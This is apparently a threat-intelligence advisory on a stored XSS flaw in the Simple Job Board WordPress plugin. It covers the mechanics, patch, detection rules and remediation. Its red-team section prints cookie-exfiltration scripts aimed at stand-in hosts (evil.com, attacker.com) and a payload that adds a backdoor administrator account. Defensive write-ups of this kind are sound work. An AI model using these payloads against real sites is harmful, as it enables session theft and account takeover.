CVE-2024-7761

Executive Summary

CVE-2024-7761 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Simple Job Board WordPress plugin (versions before 2.12.2). This flaw allows an authenticated attacker with Editor-level privileges to inject malicious JavaScript into job board entries. When an administrator or other privileged user views the injected content, the script executes in their browser, potentially leading to account takeover, session hijacking, or further backdoor installation. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx).

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress dashboard or manually are at risk. No supply chain compromise of the plugin’s source code or distribution mechanism has been reported; the flaw exists in the plugin’s own input sanitization logic.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Editor role)
• User Interaction: Required (Admin must view the malicious entry)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for account takeover (privilege escalation) elevates the real-world risk.

Deep Dive & Mechanics

The vulnerability resides in the job board’s job posting functionality. The plugin fails to properly sanitize user-supplied input in fields such as job title, description, or custom meta fields. An Editor (who can create and edit job listings) can embed arbitrary HTML/JavaScript. When an Administrator views the job listing (e.g., on the backend job list or frontend page), the injected script executes in the context of the Administrator’s session.

Attack Flow:

1. Attacker with Editor role logs into WordPress.
2. Creates or edits a job listing, injecting a malicious script (e.g., <script>document.location='https://evil.com/steal.php?c='+document.cookie</script>).
3. Administrator visits the job listing page.
4. Script executes, stealing the admin’s session cookie or performing actions on their behalf.
5. Attacker uses the stolen session to escalate privileges or install a backdoor.

Vulnerable vs. Patched Code

Vulnerable Code (before 2.12.2): The plugin likely used echo or the_content filter without proper escaping on job listing fields. Example:

echo '<div class="job-title">' . $job_title . '</div>';

Patched Code (2.12.2): The plugin now applies esc_html() or wp_kses_post() to sanitize output:

echo '<div class="job-title">' . esc_html( $job_title ) . '</div>';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Simple Job Board plugin < 2.12.2.
• An Editor-level account.

Exploit Steps:

1. Log in as Editor.
2. Navigate to Job Board > Add New.
3. In the Job Title field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Publish the job listing.
5. Wait for an Administrator to view the listing (e.g., via email notification or direct link).
6. The admin’s cookie is exfiltrated to attacker.com.

Advanced Payload (Account Takeover):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/admin-ajax.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=add_user&user_login=backdoor&user_pass=Pass123&role=administrator');
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for job listings containing <script> tags or unusual HTML entities.
• Review server logs for POST requests to admin-ajax.php with suspicious parameters.
• Use WAF rules to block XSS payloads in job submission forms.

Hardening:

• Upgrade to Simple Job Board 2.12.2 immediately.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict Editor roles from creating job listings if not necessary.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains containing cookie= or document.cookie.
• File: Modified job listing entries in the WordPress database (wp_posts table) containing <script> tags.
• Log: Repeated POST requests to /wp-admin/admin-ajax.php with action=add_user or similar.
• Session: Unexpected admin-level sessions originating from Editor IP addresses.

Detection Engineering

YARA Rule

rule CVE_2024_7761_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Simple Job Board plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7761"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-7761 Stored XSS in Simple Job Board
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in job listing submissions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=add_user'
    condition: selection
falsepositives:
    - Legitimate admin user creation
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-7761 Stored XSS - Cookie Exfiltration";
    flow:to_server,established;
    content:"document.cookie"; http_client_body;
    content:"GET"; http_method;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

1. Update Simple Job Board plugin to version 2.12.2 or later.
2. Review all existing job listings for injected scripts.
3. Reset all user sessions and force password changes for admin accounts.

Long-term:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers.
• Conduct regular security audits of WordPress plugins.
• Apply principle of least privilege: restrict Editor roles from creating job listings if not needed.

Valters IT
DevSecOps & Cyber Threat Intelligence